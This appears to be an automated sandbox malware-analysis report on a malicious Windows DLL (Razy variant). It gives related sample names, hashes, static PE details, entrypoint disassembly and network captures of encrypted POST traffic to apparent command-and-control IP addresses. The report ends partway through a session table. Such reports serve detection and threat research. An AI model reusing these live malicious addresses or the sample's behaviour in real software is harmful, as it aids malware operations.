	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
KELIWEBIT	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse	185.56.219.47
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse	185.56.219.47
AS-CHOOPAUS	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse	45.77.0.96
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse	45.77.0.96

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
51c64c77e60f3980eea90869b68c58a8	SecuriteInfo.com.Variant.Razy.980776.28061.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.25006.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28328.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.4470.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.14159.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.20807.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.27063.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.2260.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.12452.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.6851.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.2379.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.10617.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.24814.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.29553.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.15127.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.28360.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.19796.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.9816.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.17887.dll	Get hash	malicious	Browse	192.46.210.220
	SecuriteInfo.com.Variant.Razy.980776.9354.dll	Get hash	malicious	Browse	192.46.210.220

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	326
Entropy (8bit):	3.408463865828527
Encrypted:	false
SSDEEP:	6:kKikXuyr8EMl/s8gFN+SkQlPlEGYRMY9z+4KlDA3RUeOlEfcTt:KklW/Y2kPlE99SNxAhUefit
MD5:	DC907620685B6E2130D79E48BDDC80AC
SHA1:	539043F413C012DF0C6866BAB6FAD7E962401A21
SHA-256:	4D99855C4738F264EC7EA6530DCA0BD2FF033D019661F43581D1EBEA86EA98AE
SHA-512:	DF5CDD4754060BE2D3D32CC6558E050DC889D031CF2C6536489626992F9A753880BD1E59266CF30A377963B26BE8A83D015A588C8542BED4252970FC21FE6205
Malicious:	false
Reputation:	low
Preview:	p...... .........6......(...............................................5....... ...........^.......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.a.a.8.a.1.5.e.a.6.d.7.1.:.0."...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.439720008501808
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Variant.Razy.980776.9478.dll
File size:	1375232
MD5:	6fd1917b9317cb3a563452406ee6b42e
SHA1:	ca04deff186c8177bc45b1d71fc0d9f7cd77e89e
SHA256:	a0a2052a31550ac810368f5aa8e2e9d4f309758e6b3391f9ba27c52ccb9f4ed5
SHA512:	f2de83a41ec97d6173c1efc5ef80d937d5354ed4b60cf22dfe435bb953102fd51d3979e0dfedd5c6d373996ff7bd54c1f864361bc016435915b3d182f4a05ef6
SSDEEP:	24576:rnxqsL+DvNdnhMr5Lo6dOGcuQNrSH9d6N9eYWtZgDxxxSPnsqz7puATt5csRbu77:rcfk82uAJTI7bPswKwuK
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............E...E...E(VGE...E..'E...E...D...E...D...E...D...E...D...E(VCE...E...E...E...D...E...D...E..LE...E...D...ERich...E.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x4336b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5BBD7676 [Wed Oct 10 03:48:06 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ccbe70d6d0d02f6248ca160d6a0bb85b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FA920DBE737h
call 00007FA920DBF467h
mov eax, dword ptr [ebp+10h]
push eax
mov ecx, dword ptr [ebp+0Ch]
push ecx
mov edx, dword ptr [ebp+08h]
push edx
call 00007FA920DBE526h
add esp, 0Ch
pop ebp
retn 000Ch
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
push edx
mov edx, dword ptr [ebp+08h]
xor edx, dword ptr [0054806Ch]
push edx
call 00007FA920DBE774h
add esp, 08h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [0054806Ch]
xor edx, edx
mov ecx, 00000020h
div ecx
mov eax, 00000020h
sub eax, edx
push eax
mov ecx, dword ptr [ebp+08h]
push ecx
call 00007FA920DBE743h
add esp, 08h
xor eax, dword ptr [0054806Ch]
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov ecx, dword ptr [ebp+0Ch]
ror eax, cl
pop ebp
ret
int3
int3
int3
push ebp
mov ebp, esp
call 00007FA920DBFACDh
push eax
call 00007FA920E007D7h
add esp, 04h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [ebp+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x147190	0x6c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1471fc	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x15c000	0x72b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x143110	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x143168	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc7000	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc5e2f	0xc6000	False	0.442065922901	data	6.47812583733	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xc7000	0x80aec	0x80c00	False	0.534103837985	data	5.52052205911	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x148000	0x13ba0	0x1800	False	0.1875	DOS executable (block device driverpyright)	3.99635070896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x15c000	0x72b4	0x7400	False	0.710264008621	data	6.69742088731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

GetCurrentDirectoryA, GetTempPathA, GetWindowsDirectoryA, VirtualProtectEx, FindFirstChangeNotificationA, FlushFileBuffers, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, SetLastError, InitializeCriticalSectionAndSpinCount, CreateEventW, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, GetTickCount, GetModuleHandleW, GetProcAddress, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, CompareStringW, LCMapStringW, GetLocaleInfoW, GetCPInfo, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwind, RaiseException, InterlockedPushEntrySList, InterlockedFlushSList, GetLastError, FreeLibrary, LoadLibraryExW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleExW, HeapAlloc, HeapValidate, GetSystemInfo, ExitProcess, GetStdHandle, GetFileType, WriteFile, OutputDebugStringA, OutputDebugStringW, WriteConsoleW, CloseHandle, WaitForSingleObjectEx, CreateThread, SetConsoleCtrlHandler, GetCurrentThread, GetDateFormatW, GetTimeFormatW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, HeapFree, HeapReAlloc, HeapSize, HeapQueryInformation, GetACP, GetProcessHeap, GetTimeZoneInformation, FindClose, FindFirstFileExA, FindFirstFileExW, FindNextFileA, FindNextFileW, IsValidCodePage, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetEnvironmentVariableW, SetStdHandle, GetConsoleCP, GetConsoleMode, SetFilePointerEx, CreateFileW

Exports

Name	Ordinal	Address
Bluewing	1	0x49eed0
Earth	2	0x49efd0
Masterjust	3	0x49eb20

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2021 04:53:08.316519022 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:08.316570044 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:08.316683054 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:08.333946943 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:08.333977938 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:08.829534054 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:08.829684019 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:09.408591986 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:09.408618927 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:09.409007072 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:09.409090996 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:09.412317038 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:09.412426949 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:09.412455082 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:10.095457077 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:10.095546007 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:10.095654011 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:10.103123903 CEST	49741	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:10.103167057 CEST	443	49741	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:10.260221958 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:10.387748003 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:10.387806892 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:10.387929916 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:10.416640043 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:10.416676998 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:10.417979002 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:10.420072079 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:10.420793056 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:10.578488111 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:10.579847097 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:10.579952002 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:10.901084900 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:10.901230097 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:11.717493057 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:11.717515945 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:11.717911005 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:11.717992067 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:11.793492079 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:11.793611050 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:11.793648005 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:12.478216887 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:12.478317022 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:12.478357077 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:12.478377104 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:12.608993053 CEST	49743	443	192.168.2.3	192.46.210.220
Oct 28, 2021 04:53:12.609030008 CEST	443	49743	192.46.210.220	192.168.2.3
Oct 28, 2021 04:53:12.861404896 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:13.021795988 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.021902084 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:13.028331041 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:13.069785118 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:13.188700914 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.190440893 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.190599918 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:13.227521896 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.227900982 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.227993011 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:13.291230917 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:13.291433096 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:13.448807001 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.448889017 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.448900938 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.448956966 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.828486919 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.828519106 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:13.828696012 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:14.716006041 CEST	49742	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:14.873809099 CEST	808	49742	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:14.959146976 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:15.119658947 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.120417118 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.120567083 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:15.121077061 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:15.121160984 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:15.141529083 CEST	49746	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:15.282102108 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.282139063 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.282150030 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.282165051 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.282181025 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.308820009 CEST	6891	49746	45.77.0.96	192.168.2.3
Oct 28, 2021 04:53:15.308953047 CEST	49746	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:15.309709072 CEST	49746	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:15.474910021 CEST	6891	49746	45.77.0.96	192.168.2.3
Oct 28, 2021 04:53:15.476103067 CEST	6891	49746	45.77.0.96	192.168.2.3
Oct 28, 2021 04:53:15.476176023 CEST	49746	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:15.665740967 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.665769100 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.665852070 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:15.665873051 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:15.668019056 CEST	49745	808	192.168.2.3	143.244.140.214
Oct 28, 2021 04:53:15.784379005 CEST	49747	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:15.828433990 CEST	808	49745	143.244.140.214	192.168.2.3
Oct 28, 2021 04:53:15.861793995 CEST	49746	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:15.949780941 CEST	6891	49747	45.77.0.96	192.168.2.3
Oct 28, 2021 04:53:15.949892998 CEST	49747	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:15.950561047 CEST	49747	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:16.027533054 CEST	6891	49746	45.77.0.96	192.168.2.3
Oct 28, 2021 04:53:16.027621984 CEST	49746	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 04:53:16.028268099 CEST	49746	6891	192.168.2.3	45.77.0.96

HTTP Request Dependency Graph

192.46.210.220

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49741	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:09 UTC	0	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:09 UTC	0	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:10 UTC	4	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49743	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:11 UTC	4	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:11 UTC	5	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:12 UTC	9	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49782	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
